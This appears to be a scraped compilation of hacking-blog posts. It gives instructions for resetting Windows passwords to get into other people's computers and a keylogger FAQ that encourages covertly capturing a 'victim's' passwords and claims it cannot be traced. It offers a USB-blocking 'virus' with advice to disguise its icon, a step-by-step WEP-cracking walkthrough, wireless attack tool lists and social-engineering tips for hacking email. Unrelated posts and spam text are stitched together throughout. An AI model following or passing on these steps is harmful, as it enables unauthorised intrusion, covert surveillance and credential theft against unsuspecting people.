How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.
Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
You do not need to know the old password to set a new one Will detect and offer to unlock locked or disabled out user accounts! There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing. How it works? Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below
Offline NT Password & Reg Editor Download
It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.
Another simple way to reset non-administrator account passwords Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.
1. Open the command prompt (Start->Run->type cmd->Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.
So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.
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How to use Keyloggers – Detailed Tutorial and FAQs

1. What is a Keylogger?
A keylogger (also called as spy software) is a small program that monitors each and every keystroke a user types on a specific computer’s keyboard. A keylogger program can be installed just in a few seconds and once installed you are only a step away from getting the victim’s password.
2. How Keylogger works?
Once the keylogger is installed on a PC, it starts operating in the background (stealth mode) and captures every keystroke of the victim on that PC. Let’s take up a small example: The victim goes to http://mail.yahoo.com and types his “username” and the “password” in the respective fields to login. The keylogger silently records these keystrokes and stores them in the logs. These logs when opened up shows the captured “username” and “password” and will also tell you that they were typed in the Yahoo login page. Thus the keylogger loads upon every startup, runs in the background and captures each and every keystroke.

3. How to install the keylogger?
A keylogger can be installed just like any other program. Just follow the screen instructions and you’re done.
4. Do I need any special knowledge to install and use the keylogger?
Absolutely NOT! Anyone with a basic computer knowledge can install and use the keylogger. It requires no special skills.
5. Once I install the keylogger can the victim come to know about it’s presence?
No. The victim will never come to know about the presence of the keylogger on his/her computer. This is because, once installed the keylogger will run in total stealth mode. Unlike other programs it will never show up in start-menu, start-up, program files, add/remove programs and task manager. So the victim can no way identify it’s presence on his/her PC.
6. Can I be traced back if I install the keylogger on some other computer?
No, it’s almost impossible to trace back to you for installing the keylogger on other’s PC.
7. Which keylogger is the best?
Today there exists hundreds of keyloggers on the market and most of them are no more than a scam. So I tested some of the top keyloggers and conclude that the following is the best one.
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sniperspytool.com/

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
block_usb.c (source code) unblock_usb.c (source code) 3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments

gohacking.com/downloads/source_codes/USB_Block.rar

What are Private and Public IP Addresses

Internet Protocol (IP) addresses are usually of two types: Public and Private. If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place. In this post I will try to explain the difference between a public and a private IP addres in layman’s terms so that it becomes simple and easy to understand. What are Public IP Addresses?A public IP address is assigned to every computer that connects to the Internet where each IP is unique. Hence there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting webpages or services on the Internet. On the other hand a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet. Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.You can check your public IP address by visiting What are Private IP Addresses?An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):

Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other. Say for example, if a network X consists of 10 computers each of them can be given an IP starting from 192.168.1.1 to 192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).
Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.
If the private network is connected to the Internet (through an Internet connection via ISP) then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.
You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.
Unlike what most people assume, a private IP is neither the one which is impossible to trace (just like the private telephone number) nor the one reserved for stealth Internet usage. In reality there is no public IP address that is impossible to trace since the protocol itself is designed for transperancy.

How to Detect Anonymous IP Addresses

As the fraudsters are now becoming more sophisticated in bypassing the Geo-location controls by using proxies (Anonymous IPs) to spoof their IP address, it has become very much necessary to come up with a means for detecting the proxies so that the authenticity of the users can be verified. Using a proxy (web proxy) is the simplest and easiest way to conceal the IP address of an Internet user and maintain the online privacy. However proxies are more widely used by online fraudsters to engage in cyber crimes since it is the easiest way to hide their actual Geo-location such as city/country through a spoofed IP address. Following are some of the examples where fraudsters use the proxies to hide their actual IP.
1. Credit Card Frauds
For example, say a Nigerian fraudster tries to purchase goods online with a stolen credit card for which the billing address is associated with New York. Most credit card merchants use Geo-location to block orders from countries like Nigeria and other high risk countries. So in order to bypass this restriction the credit card fraudster uses a proxy to spoof his IP address so that it appears to have come from New York. The IP address location appears to be legitimate since it is in the same city as the billing address. A proxy check would be needed to flag this order.
2. Bypass Website Country Restrictions
Some website services are restricted to users form only a selected list of countries. For example, a paid survey may be restricted only to countries like United States and Canada. So a user from say China may use a proxy so as to make his IP appear to have come from U.S. so that he can earn from participating in the paid survey.
Proxy Detection Services So in order to stop such online frauds, Proxy Detection has become a critical component. Today most companies, credit card merchants and websites that deal with e-commerce transactions make use of Proxy Detection Services like MaxMind and FraudLabs to detect the usage of proxy or spoofed IP from users participating online.
Proxy Detection web services allow instant detection of anonymous IP addresses. Even though the use of proxy address by users is not a direct indication of fraudulent behaviour, it can often indicate the intention of the user to hide his or her real IP. In fact, some of the most used ISPs like AOL and MSN are forms of proxies and are used by both good and bad consumers.
How Proxy Detection Works?
Proxy detection services often rely on IP addresses to determine whether or not the IP is a proxy. Merchants can obtain the IP address of the users from the HTTP header on the order that comes into their website. This IP address is sent to the proxy detecting service in real time to confirm it’s authenticity.
The proxy detection services on the other hand compare this IP against a known list of flagged IPs that belong to proxy services. If the IP is not on the list then it is authenticated and the confirmation is sent back to the merchant. Otherwise it is reported to be a suspected proxy. These proxy detection services work continuously to grab a list or range of IPs that are commonly used for proxy services. With this it is possible to tell whether or not a given IP address is a proxy or spoofed IP.
How to Tell Whether a given IP is Real or a Proxy?
There are a few free sites that help you determine whether or not a given IP is a proxy. You can use free services like WhatisMyIPAddress to detect proxy IPs. Just enter the suspected IP in the field and click on “Lookup IP Address” button to check the IP address. If it is a suspected proxy then you will see the results something as follows

Is Your Mail Account Compromised by Hackers

Almost every one of us has heard a friend complaining that his email account has been hacked. Or it may have happened to you. The truth is that hacking yahoo messenger accounts or any other kind of email provider account has become quite a problem for users. MSN password hacking or hacking yahoo accounts is no longer the realm of experts. Thanks to the widespread use of the internet, any hacker can learn the required tricks to master the art of hacking yahoo ids or hotmail email password hacking. He only needs to make a basic search with keywords like hacking yahoo passwords, msn messenger hacking tools, msn hacking programs, hacking yahoo mail, hotmail hacking programs, hacking yahoo email or even something as simple as hotmail hacking guide. All of that is out there, ready to be learnt.Can Emails Be Hacked?Yes. As a matter of fact, almost anything can be hacked in the Internet. The problem is that email accounts are the repositories were people store their private information or even their business data. It is a quite serious condition and most of the mail providers have taken some measures for stopping it. Unfortunately, users don't take them seriously and they don't follow the precautions.

There are several methods for hacking yahoo, msn or AOL email accounts. One of these methods is social engineering. Considered a revolutionary art among the hacker community, it has proven to be an interesting tool that can be exploited by anyone.
Social engineering consists in the ability to trick someone in believing that he is giving information to someone who has the authority to ask for it. The most common way to do it is through the telephone or via the internet. Let's say that a user receives a call from someone who identifies himself as a system administrator of his company and that he requires some information that could be considered harmless.
It's quite probable that that bit of information is the final piece that the hacker required for finishing his work. Something as innocent as when was the last time that the system asked the user to change his password could be used by him in his advantage.
A quite ingenious method within social engineering was a webpage were users required to enter their mail and password for finding if someone had deleted or blocked them from their Instant Messenger (IM). Unfortunately, many fell under this scheme. Hacking yahoo messenger or any other messenger is quite easy if you find how to exploit the user's needs.

Wireless WEP HACK

1) Unzip and install Commview, then paste the included “cv.exe” to the directory you installed it to (c:\program files\commviewwifi)Usenet Binaries anonym mit DSL Speed downloaden inkl. gratis Software2) Open commview and install the commview drivers to a card. It should prompt you about your card and than automatically install the driver. It is important that you have 1 card that works with commview or else the rest of the tutorial will not work
3)now go to the “rules” tab and check “enable advanced rules”
4)type in the box labled formula “tods=1 and dmac=FF:FF:FF:FF:FF:FF” then type a name for your formula in the box labled name and than click add/edit.
5)it should now appear in the upper box. if it is not checked, check it.
6)now click settings>options>memory usage and turn maximum packets in buffer to 20000 (max). If it prompts you to restart it, do so. There are three funnel looking things on the main menu bar of commview. uncheck all but the first one (one labled “capture data packets”)
7) now click the play button and scan for the network you want to crack.
8)once you have found it, drag the channel menu down to the desired channel and click capture.
9) now using your other adapter thats not capturing, connect to the password protected network. when it asks you for key, type in something random, i used 1234567890.
10) it should now say connected with limited connectivity. (same as being associated!!)
11)go back to your commview menu and click on the packets tab. you should see a couple of packets.
12) looking at the protocol column, you should see a couple labled IP/UDP, ARP REQ, and a couple of others. Right click on any packet labled “ARP REQ” and than click send packet, and selected. A mini menu should now appear.
13) on the mini menu, change packets per second to 2000, and rather than 1 time(s), click continuously, and Then click send.
14) now go back to the main commview window and go to the rules tab, and uncheck the rule you made.
15) You are now injecting and you should see the number of packets rising really fast.
16)to save the packets, you have to save every 20000 packets, click file, save and than in the save dialogue, remember where you saved it, and instead of saving it as an ncf file, save it as a “dump” .cap file.
17) Extract the Aircrack-NG folder.
18)open aircrack-ng-GUI that can be found in the map “bin” and select the files you saved, and than click launch.
19)Look at the list of IV’s you have, and select the network you want to crack , there should be a list of alot of them, chose the one with the most ivs.
http://hotfile.com/dl/8948407/3fdd00b/WEP-HACK.rar.html

Wireless Hack Tools 2009

NetStumbler-0.4.0: wireless access point identifier - listens for SSIDs and sends beacons as probes searching for access points. Kismet-2005-08-R: wireless sniffer and monitor - passively monitors wireless traffic and sorts data to identify SSIDs, MAC addresses, channels and connection speeds. Wellenreiter-v1.9: WLAN discovery tool - uses brute force to identify low traffic access points; hides your real MAC address; integrates with GPS. WEP***** 0.1.0: Unix based-pearl aplication encryption breaker - *****s 802.11 WEP encryption keys using the latest discovered weakness of RC4 key scheduling. Airsnort-0.2.7e: encryption breaker - passively monitoring transmissions, computing the encryption key when enough packets have been gathered. Wepwedgie-0.1.0-alpha: for toolkit that determines 802.11 WEP keystreams and injects traffic with known keystreams in order to ***** WEP in minutes. Hotspotter-0.4: Wireless client attacking too. Most programs are open source, and very useful if you know what your doing.
NetStumbler-0.4.0: wireless access point identifier - listens for SSIDs and sends beacons as probes searching for access points. Kismet-2005-08-R: wireless sniffer and monitor - passively monitors wireless traffic and sorts data to identify SSIDs, MAC addresses, channels and connection speeds. Wellenreiter-v1.9: WLAN discovery tool - uses brute force to identify low traffic access points; hides your real MAC address; integrates with GPS. WEP***** 0.1.0: Unix based-pearl aplication encryption breaker - *****s 802.11 WEP encryption keys using the latest discovered weakness of RC4 key scheduling. Airsnort-0.2.7e: encryption breaker - passively monitoring transmissions, computing the encryption key when enough packets have been gathered. Wepwedgie-0.1.0-alpha: for toolkit that determines 802.11 WEP keystreams and injects traffic with known keystreams in order to ***** WEP in minutes. Hotspotter-0.4: Wireless client attacking too. Most programs are open source, and very useful if you know what your doing.